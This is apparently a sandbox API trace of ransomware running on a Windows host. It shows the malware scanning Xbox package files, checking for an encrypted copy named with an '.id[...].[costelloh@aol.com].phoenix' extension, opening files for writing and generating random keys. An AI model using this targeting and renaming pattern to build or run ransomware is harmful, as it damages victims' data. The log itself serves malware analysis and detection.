	[0262.919] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.920] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=5032) returned 1
	[0262.920] CloseHandle (hObject=0x2e0) returned 1
	[0262.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.920] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.920] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.920] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.921] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=16384) returned 1
	[0262.921] CloseHandle (hObject=0x2e0) returned 1
	[0262.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.922] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.922] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.922] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.923] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.923] CloseHandle (hObject=0x2e0) returned 1
	[0262.923] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.923] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.923] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2384) returned 1
	[0262.923] CloseHandle (hObject=0x2e0) returned 1
	[0262.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.923] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.924] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.924] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.925] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=956) returned 1
	[0262.925] CloseHandle (hObject=0x2e0) returned 1
	[0262.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.925] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.925] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.925] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.926] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=16384) returned 1
	[0262.926] CloseHandle (hObject=0x2e0) returned 1
	[0262.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.931] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.931] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.931] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.931] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.931] CloseHandle (hObject=0x2e0) returned 1
	[0262.932] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.932] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.932] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=3684) returned 1
	[0262.932] CloseHandle (hObject=0x2e0) returned 1
	[0262.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.932] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxgameoverlay_1.15.2003.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.932] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.933] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.934] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=16384) returned 1
	[0262.934] CloseHandle (hObject=0x2e0) returned 1
	[0262.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.934] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.934] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.934] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.935] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.935] CloseHandle (hObject=0x2e0) returned 1
	[0262.935] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.935] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.936] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=5728) returned 1
	[0262.936] CloseHandle (hObject=0x2e0) returned 1
	[0262.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.936] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxidentityprovider_11.19.19003.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.936] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.936] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.937] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1016) returned 1
	[0262.937] CloseHandle (hObject=0x2e0) returned 1
	[0262.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.937] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.937] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.937] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.939] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=8192) returned 1
	[0262.939] CloseHandle (hObject=0x2e0) returned 1
	[0262.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxspeechtotextoverlay_1.14.2002.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
